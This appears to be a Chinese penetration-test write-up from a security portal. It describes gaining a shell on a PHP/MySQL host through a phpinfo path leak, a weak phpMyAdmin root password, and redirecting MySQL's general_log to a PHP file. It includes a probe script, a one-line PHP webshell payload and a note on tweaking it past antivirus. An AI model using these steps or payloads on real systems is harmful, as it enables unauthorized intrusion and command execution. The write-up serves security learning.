官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
信息收集
通过信息收集发现phpinfo页面:
找到关键信息web路径C:/ps/WWW
首先想到的是临时目录批量上传文件然后再利用文件包含漏洞拿shell
先测试有没有临时目录:
编写脚本,上传文件探测是否存在phpinfo包含临时文件的信息。
import requests files = { 'file': ("aa.txt","ssss") } url = "http://x.x.x.x/phpinfo.php" r = requests.post(url=url, files=files, allow_redirects=False) print(r.text)
发现存在临时文件
继续利用条件竞争上传失败。
然后测试有没有文件包含,并没有。
然后继续信息收集发现phpmyadmin 并且发现root用户弱口令漏洞
经测试发现mysql中的Into outfile被禁用:
The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
下一步查询general_log处于开启状态,状态为开启的时候,系统将mysql以后执行的每一条查询语句写入你指定的位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,可以先指定路径为一个php文件,再执行sql语句SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到你指定的php文件中去了。
于是我们可以设置general_log_file为一个php文件,最后用一句话木马进行查询来获取shell
漏洞利用
由于前面phpinfo页面里已经找到web路径,可构造以下语句:
SET global general_log_file='C:/ps/www/xiaoma.php';
写入webshell的时候发现直接构造eval函数访问的时候提示报错大概的意思就是提示文件内容变为0行,判断是被杀了。
于是稍微改动一下,如下图,eval会将输入的$a作为php语句执行,因此只要对l赋一定的system命令值,就能够执行系统命令
访问一下这次没有被杀
shell到手:
思路
phpinfo漏洞利用思路如下:
1、phpinfo中可以看到上传的临时文件的路径,从而实现LFI+getshell
https://www.pianshen.com/article/71091159796/
phpmyadmin漏洞利用思路如下:
1、利用全局变量general_log去getshell
2、利用slow_query_log慢查询日志getshell
3、利用phpmyadmin4.8.x本地文件包含漏洞getshell
https://www.icode9.com/content-3-218228.html
4、select into outfile直接写入